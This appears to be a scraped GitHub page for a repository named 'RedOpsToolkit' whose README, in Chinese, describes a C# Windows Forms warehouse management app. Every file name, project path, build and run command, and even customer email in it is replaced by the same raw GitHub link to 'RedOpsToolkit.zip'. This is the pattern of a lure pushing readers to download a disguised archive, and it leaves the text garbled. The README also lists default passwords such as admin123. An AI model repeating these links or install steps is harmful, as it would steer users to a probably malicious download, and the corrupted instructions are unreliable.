nbarrap/RedOpsToolkit
GitHub: nbarrap/RedOpsToolkit
名为红队工具包但实际内容为仓库管理系统,且包含可疑外部链接,建议谨慎对待。
Stars: 0 | Forks: 0
# 仓库管理系统
一款使用 C# 和 Windows Forms 开发的完整仓库管理应用程序,支持管理客户、产品、订单、销售和库存控制。**现已包含具有不同角色和权限的用户身份验证系统。**
## 功能特性
### 🔐 **用户与身份验证系统** *(新增)*
- 基于用户名和密码的安全登录
- 三种用户类型:管理员、员工、销售
- 基于角色的访问控制
- 完整的用户管理(仅限管理员)
- 最后访问时间追踪
- 用户启用/禁用
### 🏢 **客户管理**
- 添加、编辑和删除客户
- 按姓名、姓氏或邮箱搜索客户
- 完整信息:名字、姓氏、邮箱、电话、地址
- 自动记录注册日期
### 📦 **产品管理**
- 完整的产品管理
- 唯一的产品代码
- 分类控制
- 价格和库存管理
- 低库存预警
- 按代码、名称或描述搜索
### 📋 **订单管理**
- 为客户创建订单
- 订单状态:待处理、处理中、已完成、已取消
- 每个订单可添加多个产品
- 自动计算总额
- 订单状态变更
- 完成订单时自动更新库存
### 💰 **销售管理**
- 直接销售记录
- 支持临时客户
- 多种支付方式:现金、刷卡、转账、支票
- 实时库存控制
- 自动计算总额
### 📊 **库存控制**
- 完整的库存视图
- 库存调整(入库/出库)
- 低库存产品预警
- 库存统计
- 库存总价值
- 详细报告
## 项目结构
```
Almacen/
├── Models/ # Modelos de datos
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
├── Data/ # Capa de acceso a datos
│ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
├── Forms/ # Formularios de la aplicación
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip # Formulario principal
└── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip # Punto de entrada
```
## 系统要求
- **操作系统**:Windows 7 或更高版本
- **.NET Framework**:4.7.2 或更高版本
- **推荐 IDE**:Visual Studio 2017 或更高版本
## 安装与配置
### 方式 1:Visual Studio
1. **打开项目**:
打开 Visual Studio → File → Open → Project/Solution
选择:https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
2. **还原依赖项**(如有必要):
Build → Rebuild Solution
3. **运行应用程序**:
按 F5 或 Debug → Start Debugging
### 方式 2:命令行 (MSBuild)
1. **编译项目**:
msbuild https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip /p:Configuration=Release
2. **运行应用程序**:
cd Almacen\bin\Release
https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
### 方式 3:Mono (Linux/macOS)
1. **安装 Mono**:
# Ubuntu/Debian
sudo apt-get install mono-complete
# macOS
brew install mono
2. **编译**:
msbuild https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
3. **运行**:
mono https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
## 应用程序使用
### 初始登录
启动应用程序时,首先会显示登录界面。请使用以下默认凭据:
- **管理员**:用户名:`admin`,密码:`admin123`
- **员工**:用户名:`empleado`,密码:`emp123`
- **销售**:用户名:`vendedor`,密码:`vend123`
### 主界面
成功登录后,您将看到包含 5 个模块的主菜单:
- **客户管理**(蓝色)
- **产品管理**(绿色)
- **订单管理**(橙色)
- **销售管理**(红色)
- **库存控制**(紫色)
### 推荐工作流程
1. **初始配置**:
- 在客户模块中添加客户
- 在产品模块中添加产品
2. **日常操作**:
- 为客户创建订单
- 处理直接销售
- 必要时调整库存
- 检查低库存预警
3. **跟踪**:
- 更改订单状态
- 生成库存报告
- 查看销售统计
## 技术特性
### 数据模型
- **Cliente (客户)**:个人信息和联系方式
- **Producto (产品)**:代码、名称、价格、库存、分类
- **Pedido (订单)**:包含状态和详情的表头
- **Venta (销售)**:包含详情的完整交易
- **DetallePedido/DetalleVenta**:产品明细行
### 数据管理
- 用于演示的**内存存储**
- DataManager 使用 **Singleton Pattern (单例模式)**
- 自动包含**测试数据**
- 所有操作均有**验证**
### 用户界面
- 带有颜色编码的**直观设计**
- 所有列表中的**实时搜索**
- 数据输入**验证**
- 面向用户的**提示信息**
## 测试数据
应用程序包含示例数据:
### 客户
- Juan Pérez (https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip)
- María González (https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip)
### 产品
- Laptop HP (PROD001) - $850.00
- Mouse Inalámbrico (PROD002) - $25.50
- Teclado Mecánico (PROD003) - $75.00 (低库存)
## 可扩展性
### 添加数据库:
1. 安装 Entity Framework:
Install-Package EntityFramework
2. 创建数据上下文:
public class AlmacenContext : DbContext
{
public DbSet Clientes { get; set; }
public DbSet Productos { get; set; }
// ... 其他 DbSet
}
3. 用 Repository (仓储) 替换 DataManager:
public class ClienteRepository
{
private AlmacenContext context;
// 实现 CRUD 方法
}
### 添加身份验证:
1. 创建用户模型
2. 添加 LoginForm
3. 实现角色和权限
## 许可证
本项目是开源的,基于 MIT 许可证发布。
## 联系方式
如需支持或咨询,请联系开发者。
**享受使用仓库管理系统的乐趣!** 🚀
标签:CSharp, DotNet, ERP组件, RBAC, RedOpsToolkit, Windows Forms, WinForms, WMS, 产品管理, 仓库管理系统, 供应链管理, 客户关系管理, 库存控制, 数据库应用, 桌面GUI开发, 桌面应用, 物流管理, 用户认证, 角色权限管理, 订单处理, 运营工具, 进销存, 销售管理